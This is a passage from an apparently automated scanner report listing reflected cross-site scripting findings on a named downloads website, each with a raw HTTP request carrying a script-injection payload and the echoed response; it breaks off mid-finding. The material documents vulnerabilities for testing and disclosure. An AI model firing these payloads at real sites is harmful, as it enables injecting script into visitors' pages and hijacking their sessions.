This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /64-bit-board-downloads.html3c7db"><script>alert(1)</script>387ba0d9d20 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 16:00:44 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:10:58 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A5%3A%22board%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A5%3A%22board%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 88268
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/64-bit-board-downloads.html3c7db"><script>alert(1)</script>387ba0d9d20" /> ...[SNIP]...
4.1504. http://www.x64bitdownload.com/64-bit-board-downloads.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.x64bitdownload.com
Path:
/64-bit-board-downloads.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 123df"><script>alert(1)</script>9a9ef9bad1b was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /64-bit-board-downloads.html?123df"><script>alert(1)</script>9a9ef9bad1b=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:57:05 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:07:19 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A5%3A%22board%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A5%3A%22board%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 88271
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/64-bit-board-downloads.html?123df"><script>alert(1)</script>9a9ef9bad1b=1" /> ...[SNIP]...
4.1505. http://www.x64bitdownload.com/64-bit-boards-downloads.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.x64bitdownload.com
Path:
/64-bit-boards-downloads.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1044f"><script>alert(1)</script>58b87c63170 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /64-bit-boards-downloads.html?1044f"><script>alert(1)</script>58b87c63170=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:57:26 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:07:44 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A6%3A%22boards%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A6%3A%22boards%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 86957
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/64-bit-boards-downloads.html?1044f"><script>alert(1)</script>58b87c63170=1" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 107a5"><script>alert(1)</script>5d3bbdbca7a was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /64-bit-client-downloads.html107a5"><script>alert(1)</script>5d3bbdbca7a HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:45:19 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:55:32 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A6%3A%22client%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A6%3A%22client%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 91204
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/64-bit-client-downloads.html107a5"><script>alert(1)</script>5d3bbdbca7a" /> ...[SNIP]...
4.1507. http://www.x64bitdownload.com/64-bit-client-downloads.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.x64bitdownload.com
Path:
/64-bit-client-downloads.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 44255"><script>alert(1)</script>7cf0f112265 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /64-bit-client-downloads.html?44255"><script>alert(1)</script>7cf0f112265=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:42:08 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:52:26 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A6%3A%22client%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A6%3A%22client%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 91207
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/64-bit-client-downloads.html?44255"><script>alert(1)</script>7cf0f112265=1" /> ...[SNIP]...
4.1508. http://www.x64bitdownload.com/64-bit-conference-downloads.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.x64bitdownload.com
Path:
/64-bit-conference-downloads.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 32275"><script>alert(1)</script>ad9b1cf51f1 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /64-bit-conference-downloads.html?32275"><script>alert(1)</script>ad9b1cf51f1=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:57:34 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:07:38 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A10%3A%22conference%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A10%3A%22conference%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 88896
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/64-bit-conference-downloads.html?32275"><script>alert(1)</script>ad9b1cf51f1=1" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9436b"><script>alert(1)</script>9d161df1015 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /64-bit-cross-downloads.html9436b"><script>alert(1)</script>9d161df1015 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:43:14 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:53:18 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A5%3A%22cross%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A5%3A%22cross%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 90543
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/64-bit-cross-downloads.html9436b"><script>alert(1)</script>9d161df1015" /> ...[SNIP]...
4.1510. http://www.x64bitdownload.com/64-bit-cross-downloads.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.x64bitdownload.com
Path:
/64-bit-cross-downloads.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e6bda"><script>alert(1)</script>b40157044c5 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /64-bit-cross-downloads.html?e6bda"><script>alert(1)</script>b40157044c5=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:40:38 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:50:49 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A5%3A%22cross%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A5%3A%22cross%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 90546
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/64-bit-cross-downloads.html?e6bda"><script>alert(1)</script>b40157044c5=1" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b8728"><script>alert(1)</script>1a0285ae469 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /64-bit-download-downloads.htmlb8728"><script>alert(1)</script>1a0285ae469 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:46:22 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:56:25 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A8%3A%22download%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A8%3A%22download%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 94367
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/64-bit-download-downloads.htmlb8728"><script>alert(1)</script>1a0285ae469" /> ...[SNIP]...
4.1512. http://www.x64bitdownload.com/64-bit-download-downloads.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.x64bitdownload.com
Path:
/64-bit-download-downloads.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 51f31"><script>alert(1)</script>f94cfc1ffad was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /64-bit-download-downloads.html?51f31"><script>alert(1)</script>f94cfc1ffad=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:43:24 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:53:31 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A8%3A%22download%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A8%3A%22download%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 94370
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/64-bit-download-downloads.html?51f31"><script>alert(1)</script>f94cfc1ffad=1" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1e057"><script>alert(1)</script>bfedfe770d3 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /64-bit-downloader-downloads.html1e057"><script>alert(1)</script>bfedfe770d3 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:58:43 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:09:02 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A10%3A%22downloader%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A10%3A%22downloader%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 98455
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/64-bit-downloader-downloads.html1e057"><script>alert(1)</script>bfedfe770d3" /> ...[SNIP]...
4.1514. http://www.x64bitdownload.com/64-bit-downloader-downloads.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.x64bitdownload.com
Path:
/64-bit-downloader-downloads.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6cabf"><script>alert(1)</script>1c16e82e365 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /64-bit-downloader-downloads.html?6cabf"><script>alert(1)</script>1c16e82e365=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:54:47 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:05:10 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A10%3A%22downloader%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A10%3A%22downloader%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 98458
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/64-bit-downloader-downloads.html?6cabf"><script>alert(1)</script>1c16e82e365=1" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload feff5"><script>alert(1)</script>b66c185e6a5 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /64-bit-ext2fs-ext3fs-paragon-extbrowser-downloads.htmlfeff5"><script>alert(1)</script>b66c185e6a5 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:53:01 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:03:08 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A32%3A%22ext2fs-ext3fs-paragon-extbrowser%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A32%3A%22ext2fs+ext3fs+paragon+extbrowser%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 30030
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/64-bit-ext2fs-ext3fs-paragon-extbrowser-downloads.htmlfeff5"><script>alert(1)</script>b66c185e6a5" /> ...[SNIP]...
4.1516. http://www.x64bitdownload.com/64-bit-ext2fs-ext3fs-paragon-extbrowser-downloads.html [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 613af"><script>alert(1)</script>6093e6a1fe2 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /64-bit-ext2fs-ext3fs-paragon-extbrowser-downloads.html?613af"><script>alert(1)</script>6093e6a1fe2=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:48:59 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:59:12 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A32%3A%22ext2fs-ext3fs-paragon-extbrowser%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A32%3A%22ext2fs+ext3fs+paragon+extbrowser%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 30033
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/64-bit-ext2fs-ext3fs-paragon-extbrowser-downloads.html?613af"><script>alert(1)</script>6093e6a1fe2=1" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9ab62"><script>alert(1)</script>4dead600d30 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /64-bit-fast-download-downloads.html9ab62"><script>alert(1)</script>4dead600d30 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:53:56 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:04:23 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A13%3A%22fast-download%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A13%3A%22fast+download%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 96386
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/64-bit-fast-download-downloads.html9ab62"><script>alert(1)</script>4dead600d30" /> ...[SNIP]...
4.1518. http://www.x64bitdownload.com/64-bit-fast-download-downloads.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.x64bitdownload.com
Path:
/64-bit-fast-download-downloads.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fa2d1"><script>alert(1)</script>9e67a9dcdbd was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /64-bit-fast-download-downloads.html?fa2d1"><script>alert(1)</script>9e67a9dcdbd=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:49:30 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:00:10 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A13%3A%22fast-download%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A13%3A%22fast+download%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 96389
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/64-bit-fast-download-downloads.html?fa2d1"><script>alert(1)</script>9e67a9dcdbd=1" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4260b"><script>alert(1)</script>fce09807565 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /64-bit-feed-downloads.html4260b"><script>alert(1)</script>fce09807565 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
